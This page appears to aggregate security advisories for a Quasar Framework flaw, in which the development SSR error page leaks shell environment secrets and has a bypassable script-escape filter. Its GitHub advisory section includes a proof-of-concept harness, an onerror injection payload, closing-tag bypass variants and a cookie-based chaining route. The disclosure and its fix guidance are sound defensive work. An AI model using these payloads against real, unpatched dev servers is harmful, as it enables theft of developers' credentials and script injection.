Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its </script> escape is bypassable

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError() in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env, request headers, and cookies into the HTTP page returned by serve.devError(), while the development server listened on all interfaces by default. Any network-adjacent client that reaches an SSR or SSG render failure through this development-only error path can obtain shell environment secrets. The renderer escaped only one exact lowercase script closing-tag spelling, so case variants and valid closing-tag delimiter variants in reflected diagnostic data could terminate the script element and inject markup; executing the injected code in a developer browser additionally requires the payload to accompany that developer's request. This issue is fixed in @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0.

Source published

6 Oct 2026 17:24:07 UTC

Source modified

6 Oct 2026 18:22:44 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.1 CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError() in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env, request headers, and cookies into the HTTP page returned by serve.devError(), while the development server listened on all interfaces by default. Any network-adjacent client that reaches an SSR or SSG render failure through this development-only error path can obtain shell environment secrets. The renderer escaped only one exact lowercase script closing-tag spelling, so case variants and valid closing-tag delimiter variants in reflected diagnostic data could terminate the script element and inject markup; executing the injected code in a developer browser additionally requires the payload to accompany that developer's request. This issue is fixed in @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0.

Source published

Oct 6, 2026, 5:24:07 PM (timezone not stated)

Source modified

Oct 6, 2026, 6:22:44 PM (timezone not stated)

Observed here

11 Nov 2026 05:31:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError() in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env, request headers, and cookies into the HTTP page returned by serve.devError(), while the development server listened on all interfaces by default. Any network-adjacent client that reaches an SSR or SSG render failure through this development-only error path can obtain shell environment secrets. The renderer escaped only one exact lowercase script closing-tag spelling, so case variants and valid closing-tag delimiter variants in reflected diagnostic data could terminate the script element and inject markup; executing the injected code in a developer browser additionally requires the payload to accompany that developer's request. This issue is fixed in @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0.

Source published

6 Oct 2026 18:16:52 UTC

Source modified

6 Oct 2026 20:03:40 UTC

Observed here

25 Oct 2026 04:17:41 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary The error page that Quasar CLI shows when an SSR or SSG render throws in development serializes every variable in `process.env`, every request header and every cookie into the HTTP response, and the dev server binds `0.0.0.0` by default. Any host that can reach the port therefore gets the developer's cloud keys, registry tokens and database URLs from a single unauthenticated GET. The same page embeds that data inside a `<script>` element behind a `replaceAll('</script>', ...)` guard that is ASCII-case-sensitive and requires a literal `>`, so `</SCRIPT>`, `</script >` and `</script/>` all escape the element and give script execution in the dev server's origin. ### Details `renderSSRError()` builds the page by splicing a JSON blob into a prebuilt bundle (`utils/render-ssr-error/src/index.js`): ```js errorHtml: before + JSON.stringify(data).replaceAll('</script>', String.raw`<\/script>`) + after ``` `before` and `after` are the two halves of the compiled error-page UI, split inside a `<script type="module">` element, so `data` is emitted as a JS object literal in raw script text. The data itself comes from `utils/render-ssr-error/src/env.js`: ```js function getEnvironmentVariablesData () { return Object.keys(process.env).reduce((acc, name) => { acc[ name ] = process.env[ name ] return acc }, {}) } export function getEnv (req) { return { Request: getRequestData(req), Headers: getHeadersData(req), Cookies: getCookiesData(req), 'Shell environment variables': getEnvironmentVariablesData() } } ``` The page is served by `serve.devError({ err, req })` in `app-vite/lib/modes/ssr/ssr-devserver.js` and by the SSG equivalent, which the generated render middleware calls on any render exception. The dev server listens on every interface because `app-vite/lib/quasar-config-file.js` overrides Vite's `localhost` default: ```js } else if (!cfg.devServer.host) { cfg.devServer.host = '0.0.0.0' } ``` The escape fails because the HTML tokenizer ends script raw text on `</` followed by a case-insensitive `script` followed by any of tab, newline, form feed, space, `/` or `>`. `replaceAll` with a string pattern matches one exact spelling. `</SCRIPT>`, `</ScRiPt>`, `</script >` and `</script/>` are all untouched and all close the element. `JSON.stringify` does not escape `<` or `>`, and cookie values are additionally run through `decodeURIComponent` before being placed in the blob, so percent-encoded payloads decode into working markup. The project already implements this correctly elsewhere. `ui/src/plugins/meta/Meta.js` uses a case-insensitive pattern with no trailing `>`: ```js function protectRawText (value, tagName) { return String(value).replaceAll(new RegExp(`</${tagName}`, 'gi'), `<\\/${tagName}`) } ``` ### PoC Harness that replicates the dev server's error branch using the published `@quasar/[email protected]`, with two canary values planted in the environment: ```js import http from 'node:http' import renderSSRError from '@quasar/render-ssr-error' process.env.AWS_SECRET_ACCESS_KEY = 'CANARY_AWS_SECRET_dev_machine_9f3a1c' process.env.NPM_TOKEN = 'CANARY_npm_TOKEN_abcdef' http.createServer((req, res) => { const err = new Error('Cannot read properties of undefined (reading "x")') const { errorHeaders, errorHtml } = renderSSRError({ err, req, rootFolder: process.cwd() }) res.writeHead(500, errorHeaders) res.end(errorHtml) }).listen(3200, '0.0.0.0') ``` Disclosure needs no payload at all. A plain `GET /` returns a 957 KB page containing both canaries: ``` ENV DISCLOSURE (plain GET, no injection): 2/2 canary secrets present in the 500 page -> CANARY_AWS_SECRET_dev_machine_9f3a1c, CANARY_npm_TOKEN_abcdef ``` For the injection, the payload goes in an ordinary request header. `JSON.stringify` escapes `"` as `\"`, so the handler uses single quotes: ``` <TAG><img src=/nonexistent-image onerror='window.__QPWN=document.domain+":"+location.port'> ``` Loaded in headless Chromium: ``` POSITIVE </SCRIPT > (uppercase + space) window.__QPWN=127.0.0.1:3200 injectedImg=1 ATTACKER SCRIPT EXECUTED POSITIVE </script > (lowercase + space) window.__QPWN=127.0.0.1:3200 injectedImg=1 ATTACKER SCRIPT EXECUTED POSITIVE </script/> (lowercase + slash) window.__QPWN=127.0.0.1:3200 injectedImg=1 ATTACKER SCRIPT EXECUTED POSITIVE </ScRiPt> (mixed case) window.__QPWN=127.0.0.1:3200 injectedImg=1 ATTACKER SCRIPT EXECUTED NEG-CTRL </script> (what the filter matches) window.__QPWN=null injectedImg=0 no execution ``` The negative control is the same payload with the one spelling `replaceAll` actually matches. Nothing is injected and nothing runs, which isolates the bug to the escape rather than to the surrounding page. Confirming the injection context, a probe header comes back inside the single `<script type="module">` element: ``` ..."Headers":{"host":"127.0.0.1:3200","user-agent":"curl/8.18.0","accept":"*/*", "x-probe":"</SCRIPT ><img src=/nope onerror=\"window.__QPWN=1\">MARKEREND"},... ``` No `Content-Security-Policy` is sent with the page. ### Impact Exposure of sensitive system information, plus HTML injection into a page that carries it. This is development only, since `serve.devError` does not exist in a production build, and it requires the app's SSR render to throw. That is the routine state this page exists to display, and an attacker who can reach the port can simply poll for it. The disclosure is the substantive half and needs nothing but a TCP connection: shell environment, all request headers, all cookies, and ten lines of source around every stack frame. On a developer machine that typically means cloud credentials, npm or GitHub tokens and database connection strings. Because Quasar overrides Vite's `localhost` default with `0.0.0.0`, everyone on the same network segment or in a shared container network can ask for it. The injection is best treated as a chained issue on top of that rather than as a drive-by. A raw HTTP client can set the header but only poisons its own page. For the code to run in the developer's browser the payload has to travel with the developer's own request, which in practice means the cookie channel, since cookie values are URL-decoded and any page on a `localhost` or `127.0.0.1` origin can set a cookie that is sent to every port on that host. Cross-origin `fetch` does not work: CORS-safelisted headers forbid `<` and `>`, and browsers percent-encode them in the URL while `req.url` is never decoded. Fixing the escape alone leaves the disclosure. Serializing with something that escapes `<`, such as the `serialize-javascript` already used correctly in `app-vite/lib/modes/ssr/ssr-utils.js`, closes the injection; redacting or omitting `process.env` and cookie values closes the disclosure; defaulting `devServer.host` to `localhost` as Vite does would reduce who can ask.

Source published

7 Oct 2026 16:16:12 UTC

Source modified

7 Oct 2026 16:30:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Publisher rating · HIGH